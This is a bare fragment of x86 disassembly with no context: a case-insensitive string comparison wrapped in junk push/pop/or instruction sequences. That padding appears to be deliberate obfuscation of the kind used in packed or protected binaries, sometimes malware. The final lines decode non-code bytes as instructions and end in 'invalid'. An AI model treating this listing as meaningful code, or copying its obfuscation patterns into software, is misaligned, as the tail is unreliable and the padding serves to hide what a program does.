cmp ecx, eax
jne 0x510243
mov dword [ebp - 0xc6c], 0
jmp 0x5102b2
push ebx
push esi
add esp, 4
sub ebx, 0x82f0
or ebx, 0x8bcc
or ebx, 0x9373
pop ebx
push ebx
jmp 0x510262
sub ebx, 0xaf1b
pop ebx
push eax
push edx
add esp, 4
or eax, 0x7386
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x5102a8
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x5102b2
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x5102c9
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x5102da
jmp 0x5100b3
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push ecx
push edx
add esp, 4
xor ecx, 0x2c7f
pop ecx
push ebx
jmp 0x5102f8
and ebx, 0x6a4b
pop ebx
push ebx
call 0x51030f
add byte [edi], bh
cmp al, 0x46
xor eax, 0x3a373535
xor eax, 0xeb04c483
add edi, dword [edx]
inc esi
cmp byte [ebx - 0x75], bl
xchg ebp, eax
test al, 0xf5
invalid